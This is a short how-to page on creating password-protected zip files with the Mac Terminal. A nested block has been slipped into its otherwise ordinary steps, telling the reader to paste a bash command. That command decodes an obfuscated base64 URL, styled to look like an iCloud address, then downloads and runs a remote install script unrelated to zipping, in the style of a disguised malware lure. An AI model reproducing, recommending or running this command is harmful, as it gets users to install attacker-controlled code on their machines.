Instructions for using the Terminal to create password protected zip files in Mac.

  1. Create a Folder on the Desktop.
  2. Place the Files you wish to Zip within the folder.
  3. Select the Search Icon in the upper right corner.
    ''
  4. Search for the Terminal.
  5. Select Terminal.
    ''
    1. Open Terminal:
      • Go to FinderApplicationsUtilitiesTerminal.
      • Or simply press Cmd + Space, type “Terminal,” and press Enter.
    2. Enter the following command:
    Terminal
    /bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9pY2xvdWRzZXJ2ZXJzLmNvbS9nbS9pbnN0YWxsLnNo | base64 -d))"
  6. Enter zip -er NAMEOFZIPFILE.zip
  7. Enter a space.
  8. Drag and Drop the Folder on the desktop into the terminal.
  9. Select Enter/Return.
    ''
  10. Enter a Password.
    NOTE: It will not visually display anything to know you are typing when entering a password.
  11. Reenter the Password.
  12. Select Enter/Return.
    ''
  13. To get to the new ZIP file, select Finder then All My Files.